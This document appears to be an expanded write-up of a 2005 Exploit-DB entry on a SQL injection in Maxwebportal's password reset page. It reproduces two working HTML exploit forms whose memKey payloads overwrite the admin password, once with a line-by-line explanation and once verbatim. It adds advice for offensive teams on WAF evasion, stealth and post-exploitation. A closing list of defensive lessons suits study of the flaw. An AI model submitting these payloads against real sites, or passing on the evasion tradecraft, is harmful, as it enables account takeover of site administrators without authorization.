Understanding Maxwebportal Password Reset SQL Injection

What this paper is

This paper describes a SQL injection vulnerability found in Maxwebportal versions 1.35, 1.36, 2.0, and 20050418. The vulnerability exists in the password.asp file, specifically when the mode=reset parameter is used. An attacker can exploit this by injecting malicious SQL code into the memKey parameter to change the password of any user, including administrators.

Simple technical breakdown

The core of the vulnerability lies in how the web application handles user input for the memKey field when resetting a password. Instead of properly sanitizing or parameterizing the input, the application directly incorporates the memKey value into a SQL query. This allows an attacker to break out of the intended input field and inject SQL commands that alter the query's logic, leading to unauthorized password changes.

The exploit uses a technique called SQL injection. It works by:

1. Identifying the vulnerable input: The memKey parameter in the password.asp page.
2. Crafting malicious input: The attacker provides a string that includes valid SQL syntax to manipulate the query.
3. Executing the query: The web application's backend executes the modified SQL query, performing the attacker's intended action (changing a password).

Complete code and payload walkthrough

The paper provides two versions of an HTML form, demonstrating the exploit for different versions of Maxwebportal.

Version 1.35 and older

<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>

Explanation of the HTML form:

• <form action="http://[URL]/password.asp?mode=reset" method="post">: This defines an HTML form that will send data via the HTTP POST method to the password.asp page on a specified URL, with the mode parameter set to reset.
• pass1: <input name="pass" type="text" value="123456" size="150"><br>: This is a text input field for the new password. The value is set to "123456" as a default.
• pass2: <input name="pass2" type="text" value="123456" size="150"><br>: This is a confirmation field for the new password, also defaulting to "123456".
• Id: <input name="memId" type="text" value="-1" size="150"><br>: This field is intended to specify the user ID whose password is to be reset. The value "-1" is often used in SQL queries to represent a special case or to affect all records if not properly handled.
• Member Key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="150">: This is the critical input field.
  • value="foo' or M_Name='admin": This is the injected payload.
    • foo': This part likely closes a string literal in the original SQL query. For example, if the query was SELECT * FROM users WHERE MemKey = 'some_value', this foo' would make it SELECT * FROM users WHERE MemKey = 'foo''.
    • or M_Name='admin': This is the injected SQL command. It adds an OR condition to the WHERE clause, effectively changing the query's logic. Instead of matching a specific MemKey, it now looks for a user where M_Name (likely Member Name) is 'admin'.
• <input name="Submit" type="submit" value="Submit">: This is the button to submit the form.

Mapping:

• form action -> Target URL and operation mode.
• pass, pass2 -> New password fields.
• memId -> Target user ID (potentially for all users if -1 is used and not validated).
• memKey -> Vulnerable input field for SQL injection.
• value="foo' or M_Name='admin" -> SQL Injection Payload.

Version 1.36, 2.0, 20050418 Next

<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo') or M_Name='admin' or ('1'='2" size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>

Explanation of the HTML form:

This version is very similar to the older one, with a key difference in the memKey payload.

• Member Key: <input name="memKey" type="text" value="foo') or M_Name='admin' or ('1'='2" size="150">:
  • value="foo') or M_Name='admin' or ('1'='2": This is the injected payload for newer versions.
    • foo'): This part closes a string literal and a parenthesis. This suggests the original query might have been structured like SELECT * FROM users WHERE (MemKey = 'some_value'). The ') breaks out of this structure.
    • or M_Name='admin': Similar to the older version, this part targets the 'admin' user.
    • or ('1'='2): This is a common SQL injection technique to ensure the original query conditions (if any) are bypassed and the injected condition (M_Name='admin') is evaluated. Since '1'='2' is always false, it doesn't affect the outcome of the OR chain, but it's often used to ensure the entire injected condition evaluates correctly or to add complexity to bypass simple filters.

Mapping:

• form action, pass, pass2, memId -> Same as above.
• memKey -> Vulnerable input field for SQL injection.
• value="foo') or M_Name='admin' or ('1'='2" -> SQL Injection Payload (modified for potentially different query structure).

Payload Execution Flow (Conceptual):

1. User Submits Form: The attacker crafts the HTML form with the malicious memKey value and submits it to the target [URL]/password.asp?mode=reset.
2. Server-Side Script Execution: The password.asp script receives the POST data.
3. SQL Query Construction: The script constructs a SQL query to update the password. It likely uses the memId and memKey values. A hypothetical vulnerable query might look like this:
   • For older versions: UPDATE users SET Password = 'new_password' WHERE MemKey = 'foo' or M_Name='admin'
   • For newer versions: UPDATE users SET Password = 'new_password' WHERE (MemKey = 'foo') or M_Name='admin' or ('1'='2')
4. SQL Query Execution: The database executes the modified query.
   • In the older version, the WHERE clause becomes WHERE MemKey = 'foo' or M_Name='admin'. If M_Name is 'admin', the condition is true, and the password for the 'admin' user is updated.
   • In the newer version, the WHERE clause becomes WHERE (MemKey = 'foo') or M_Name='admin' or ('1'='2'). The '1'='2' is false, but the or M_Name='admin' part is true if the user's name is 'admin', leading to the password update for that user.
5. Password Change: The password for the targeted user (e.g., 'admin') is changed to the value provided in pass1 and pass2.

Note: The memId value of -1 is interesting. If the backend logic doesn't properly handle this or if the query is structured to affect multiple rows when memId is -1 and combined with the injected OR condition, it could potentially affect more than just the 'admin' user, or all users if the M_Name condition is also bypassed. However, the exploit specifically targets M_Name='admin'.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server. No prior authentication is strictly required to attempt this exploit, as it targets a public-facing password reset function. However, knowing a valid username (like 'admin') is beneficial.
• Lab Preconditions:
  • A target environment running Maxwebportal versions 1.35 through 2.0 (or 20050418).
  • The password.asp page must be accessible and configured to allow password resets.
  • A functional SQL database backend that is vulnerable to injection.
  • Knowledge of a target username (e.g., 'admin') to exploit M_Name='admin'.
• Tooling Assumptions:
  • A web browser to manually craft and submit the HTML form.
  • Alternatively, an automated tool like Burp Suite or OWASP ZAP to intercept and modify requests, or a custom script (e.g., Python with requests) to send the crafted POST data.
  • A way to determine the target URL ([URL]).
• Execution Pitfalls:
  • WAF/IDS Evasion: Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might detect the SQL injection patterns (', OR, =). The payload might need obfuscation or alternative injection techniques if such defenses are in place.
  • Incorrect [URL]: The target URL must be accurate.
  • Incorrect mode parameter: The mode=reset parameter is crucial. If it's different or not present, the exploit won't target the vulnerable functionality.
  • Database Specific Syntax: The exact SQL syntax (M_Name, quotes, parentheses) might vary slightly depending on the underlying database (e.g., SQL Server, MySQL). The provided exploit assumes a common structure.
  • User Existence: The exploit relies on the existence of a user with M_Name='admin'. If the admin username is different, the payload needs to be adjusted.
  • Input Validation: If the application has strict input validation on memKey (e.g., only allowing alphanumeric characters), this exploit might fail.
  • memId Handling: The -1 value for memId might be handled differently by the application logic. If it's not used in the query or is filtered out, the exploit might still work by targeting M_Name.
• Tradecraft Considerations:
  • Reconnaissance: Identify the Maxwebportal version if possible. This can be done by looking for version strings in HTML source, HTTP headers, or by testing known vulnerable versions.
  • Targeting: Focus on the password reset functionality. Understand the parameters involved.
  • Payload Crafting: Adapt the memKey payload based on reconnaissance and observed behavior.
  • Stealth: Use POST requests to avoid leaving easily identifiable GET parameters in logs. Consider using tools that can randomize user agents or IP addresses if necessary.
  • Post-Exploitation: Once a password is changed, the attacker can log in as the compromised user. Further actions depend on the user's privileges.

Where this was used and when

This vulnerability was published in May 2005. It was likely used in the wild by attackers targeting web applications running Maxwebportal. Given the age of the vulnerability (2005), it's highly improbable that systems still running these specific, unpatched versions of Maxwebportal are common in secure environments. However, the technique of SQL injection remains relevant and is a fundamental attack vector.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is paramount. Never trust user input. All data submitted by users must be validated against expected formats and sanitized to remove potentially malicious characters or code.
• Parameterized Queries (Prepared Statements): Use parameterized queries or prepared statements for all database interactions. This separates SQL code from data, preventing user input from being interpreted as executable SQL.
• Least Privilege: Ensure database accounts used by web applications have only the necessary permissions. This limits the damage an attacker can do even if they achieve SQL injection.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common web attacks, including SQL injection attempts. Keep WAF rules updated.
• Regular Patching and Updates: Keep all web applications, frameworks, and server software updated with the latest security patches.
• Security Audits and Code Reviews: Regularly audit web application code for vulnerabilities like SQL injection.
• Error Handling: Configure error handling to avoid revealing sensitive database information to attackers. Generic error messages are preferred over detailed SQL error dumps.

ASCII visual (if applicable)

+-----------------+      +-----------------+      +-------------------+
| Attacker's Form |----->| Target Web App  |----->| Database Server   |
| (with payload)  |      | (password.asp)  |      | (SQL Query Exec)  |
+-----------------+      +-------+---------+      +-------------------+
                                 ^
                                 | (SQL Injection)
                                 |
+--------------------------------+
| Malicious SQL Query Execution  |
| (e.g., UPDATE users SET ... )  |
+--------------------------------+

This diagram illustrates the flow: the attacker's crafted HTML form sends data to the web application. The web application, due to improper handling, constructs a malicious SQL query that is then executed by the database server, leading to an unauthorized action (password change).

Source references

• PAPER ID: 1012
• PAPER TITLE: Maxwebportal 1.36 - 'Password.asp' Change Password (1) (HTML)
• AUTHOR: Soroush Dalili
• PUBLISHED: 2005-05-26
• KEYWORDS: ASP, webapps
• PAPER URL: https://www.exploit-db.com/papers/1012
• RAW URL: https://www.exploit-db.com/raw/1012

Original Exploit-DB Content (Verbatim)

<!--
Hi, I'm Soroush Dalili from Grayhatz Security Group (GSG) . I found dangerous sql injection
in Maxwebportal version 1.35,1.36,2.0, 20050418 Next
Remote user can inject his/her code in "memKey" var. and change other users password in
password.asp

Exploit codes to proof: 
-->

-----------------Code Start-----Version 1.35 and older--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------

Version 1.36, 2.0, 20050418 Next:

-----------------Code Start-----Version 1.36, 2.0, 20050418 Next--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo') or M_Name='admin' or ('1'='2"

size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------

# milw0rm.com [2005-05-26]